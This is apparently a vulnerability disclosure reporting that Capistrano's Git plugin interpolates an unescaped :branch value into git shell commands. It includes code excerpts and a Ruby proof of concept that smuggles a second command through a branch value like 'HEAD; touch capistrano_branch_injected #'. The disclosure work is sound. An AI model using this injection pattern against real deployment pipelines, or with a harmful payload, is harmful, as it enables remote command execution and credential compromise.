[Security] Possible Command injection via unquoted `:branch` in Capistrano git revision lookup
Summary
I found a command-injection pattern in Capistrano which is similar to CVE-2026-0933. The original CVE affects Cloudflare Wrangler, where wrangler pages deploy --commit-hash was interpolated into an execSync() shell command.
Capistrano's Git SCM plugin has similar branch/ref handling. The :branch value is documented as configurable and is commonly derived from deployment configuration or CI context. That value is later interpolated into shell command fragments used for git revision lookup and revision-time lookup.
If a deployment flow accepts an untrusted branch/ref value, shell metacharacters in that value can execute commands in the deployment environment.
RCA
Capistrano::SCM::Git builds several git operations using fetch(:branch). The revision lookup methods pass a single string fragment to SSHKit:
Source: lib/capistrano/scm/git.rb
def fetch_revision
backend.capture(:git, "rev-list --max-count=1 #{fetch(:branch)}")
end
def fetch_revision_time
backend.capture(:git, "--no-pager log -1 --pretty=format:\"%ct\" #{fetch(:branch)}")
endCapistrano's own tests expect the interpolated string form:
Source: spec/lib/capistrano/scm/git_spec.rb
backend.expects(:capture).with(:git, "rev-list --max-count=1 branch")Because the branch value is not shell-escaped before interpolation, shell metacharacters are interpreted when SSHKit executes the command.
Impact
A CI/CD-controlled or otherwise untrusted Capistrano branch value can execute arbitrary shell commands during deployment. This may compromise deployment credentials, modify deployed artifacts, or execute commands on infrastructure reachable by the deployment user.
PoC
The following reproduction uses SSHKit's local backend and preserves the vulnerable Capistrano command shape:
require "sshkit"
marker = File.join(Dir.pwd, "capistrano_branch_injected")
File.delete(marker) if File.exist?(marker)
branch = "HEAD; touch capistrano_branch_injected #"
backend = SSHKit::Backend::Local.new(nil) do
begin
capture(:git, "rev-list --max-count=1 #{branch}")
rescue => e
warn e.class.to_s
warn e.message
end
end
backend.run
puts File.exist?(marker) ? "INJECTION_CONFIRMED" : "NO_INJECTION"A representative deployment configuration pattern that can reach the same sink is:
ask :branch, proc { ENV.fetch("DEPLOY_BRANCH", "master") }If DEPLOY_BRANCH is set to:
HEAD; touch capistrano_branch_injected #then fetch_revision builds:
git rev-list --max-count=1 HEAD; touch capistrano_branch_injected #Source: capistrano/capistrano